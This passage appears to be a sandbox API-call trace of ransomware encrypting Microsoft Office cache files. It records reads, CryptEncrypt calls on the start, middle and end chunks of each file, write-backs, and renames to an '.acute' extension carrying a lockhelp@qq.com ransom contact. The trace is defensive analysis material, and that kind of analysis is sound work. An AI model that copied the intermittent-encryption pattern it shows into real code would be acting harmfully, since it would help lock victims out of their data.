lpBuffer=0x32a0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0047.358] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0047.358] ReadFile (in: hFile=0x198, lpBuffer=0x32e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32e0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0047.386] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0047.386] ReadFile (in: hFile=0x198, lpBuffer=0x3320058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x3320058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0047.442] CryptImportKey (in: hProv=0x585138, pbData=0x318fcc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd2c | out: phKey=0x318fd2c*=0x5931e0) returned 1 [0047.442] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x318fdc8, dwFlags=0x0) returned 1 [0047.442] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0060) returned 1 [0047.452] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.452] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fd08 | out: lpNewFilePointer=0x0) returned 1 [0047.452] WriteFile (in: hFile=0x198, lpBuffer=0x32a0020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x318fd18, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesWritten=0x318fd18*=0xc0112, lpOverlapped=0x0) returned 1 [0047.476] SetEndOfFile (hFile=0x198) returned 1 [0047.480] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0047.480] WriteFile (in: hFile=0x198, lpBuffer=0x336014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336014a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0048.181] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0048.181] WriteFile (in: hFile=0x198, lpBuffer=0x336014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336014a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0048.185] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0048.185] WriteFile (in: hFile=0x198, lpBuffer=0x336014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336014a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0048.186] CloseHandle (hObject=0x198) returned 1 [0048.417] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0048.417] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0048.418] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x318fd60 | out: lpFileSize=0x318fd60*=2503680) returned 1 [0048.418] CloseHandle (hObject=0x198) returned 1 [0048.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0048.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0048.419] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0048.419] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0048.419] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0048.419] ReadFile (in: hFile=0x198, lpBuffer=0x32a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32a0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0048.845] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0048.845] ReadFile (in: hFile=0x198, lpBuffer=0x32e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32e0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0048.989] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0048.989] ReadFile (in: hFile=0x198, lpBuffer=0x3320058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x3320058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0049.511] CryptImportKey (in: hProv=0x585138, pbData=0x318fcc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd2c | out: phKey=0x318fd2c*=0x593220) returned 1 [0049.511] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x318fdc8, dwFlags=0x0) returned 1 [0049.511] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0060) returned 1 [0049.518] CryptDestroyKey (hKey=0x593220) returned 1 [0049.518] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fd08 | out: lpNewFilePointer=0x0) returned 1 [0049.518] WriteFile (in: hFile=0x198, lpBuffer=0x32a0020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x318fd18, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesWritten=0x318fd18*=0xc0112, lpOverlapped=0x0) returned 1 [0049.538] SetEndOfFile (hFile=0x198) returned 1 [0049.538] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0049.538] WriteFile (in: hFile=0x198, lpBuffer=0x336014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336014a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0049.674] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0049.674] WriteFile (in: hFile=0x198, lpBuffer=0x336014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336014a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0049.679] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0049.679] WriteFile (in: hFile=0x198, lpBuffer=0x336014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336014a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0049.680] CloseHandle (hObject=0x198) returned 1 [0049.937] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0049.937] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.063] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x318fd60 | out: lpFileSize=0x318fd60*=70361744) returned 1 [0050.063] CloseHandle (hObject=0x1a0) returned 1 [0050.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0050.063] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0050.063] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.063] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0050.063] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0050.063] ReadFile (in: hFile=0x1a0, lpBuffer=0x32a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32a0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0050.075] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0050.075] ReadFile (in: hFile=0x1a0, lpBuffer=0x32e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32e0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0050.091] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0050.091] ReadFile (in: hFile=0x1a0, lpBuffer=0x3320058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x3320058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0050.310] CryptImportKey (in: hProv=0x585138, pbData=0x318fcc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd2c | out: phKey=0x318fd2c*=0x5931e0) returned 1 [0050.310] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x318fdc8, dwFlags=0x0) returned 1 [0050.311] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0050) returned 1 [0050.317] CryptDestroyKey (hKey=0x5931e0) returned 1 [0050.317] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fd08 | out: lpNewFilePointer=0x0) returned 1 [0050.317] WriteFile (in: hFile=0x1a0, lpBuffer=0x32a0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x318fd18, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesWritten=0x318fd18*=0xc0102, lpOverlapped=0x0) returned 1 [0050.329] SetEndOfFile (hFile=0x1a0) returned 1 [0050.329] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0050.329] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0050.331] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0050.331] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0050.332] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0050.332] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0050.333] CloseHandle (hObject=0x1a0) returned 1 [0052.890] SetEvent (hEvent=0x11c) returned 1 [0052.891] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0052.891] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.891] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x318fd60 | out: lpFileSize=0x318fd60*=14819276) returned 1 [0052.891] CloseHandle (hObject=0x1a0) returned 1 [0052.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0052.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0052.892] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.892] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0052.892] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0052.892] ReadFile (in: hFile=0x1a0, lpBuffer=0x32a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32a0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0052.896] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0052.896] ReadFile (in: hFile=0x1a0, lpBuffer=0x32e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32e0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0052.902] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0052.902] ReadFile (in: hFile=0x1a0, lpBuffer=0x3320058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x3320058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0052.909] CryptImportKey (in: hProv=0x585138, pbData=0x318fcc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd2c | out: phKey=0x318fd2c*=0x593260) returned 1 [0052.909] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x318fdc8, dwFlags=0x0) returned 1 [0052.909] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0050) returned 1 [0052.917] CryptDestroyKey (hKey=0x593260) returned 1 [0052.917] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fd08 | out: lpNewFilePointer=0x0) returned 1 [0052.917] WriteFile (in: hFile=0x1a0, lpBuffer=0x32a0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x318fd18, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesWritten=0x318fd18*=0xc0102, lpOverlapped=0x0) returned 1 [0052.931] SetEndOfFile (hFile=0x1a0) returned 1 [0052.931] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0052.931] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0052.932] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0052.932] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0052.933] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0052.933] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0052.934] CloseHandle (hObject=0x1a0) returned 1 [0054.963] SetEvent (hEvent=0x11c) returned 1 [0054.964] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0054.964] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0054.964] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x318fd60 | out: lpFileSize=0x318fd60*=43806141) returned 1 [0054.964] CloseHandle (hObject=0x1a0) returned 1 [0054.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0054.964] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0054.965] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0054.965] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0054.965] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0054.965] ReadFile (in: hFile=0x1a0, lpBuffer=0x32a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32a0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0054.969] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0054.969] ReadFile (in: hFile=0x1a0, lpBuffer=0x32e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32e0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0054.975] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0054.975] ReadFile (in: hFile=0x1a0, lpBuffer=0x3320058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x3320058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0054.980] CryptImportKey (in: hProv=0x585138, pbData=0x318fcc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd2c | out: phKey=0x318fd2c*=0x593260) returned 1 [0054.981] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x318fdc8, dwFlags=0x0) returned 1 [0054.981] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0050) returned 1 [0054.988] CryptDestroyKey (hKey=0x593260) returned 1 [0054.988] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fd08 | out: lpNewFilePointer=0x0) returned 1 [0054.988] WriteFile (in: hFile=0x1a0, lpBuffer=0x32a0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x318fd18, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesWritten=0x318fd18*=0xc0102, lpOverlapped=0x0) returned 1 [0055.394] SetEndOfFile (hFile=0x1a0) returned 1 [0055.395] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0055.395] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0055.397] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0055.397] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, 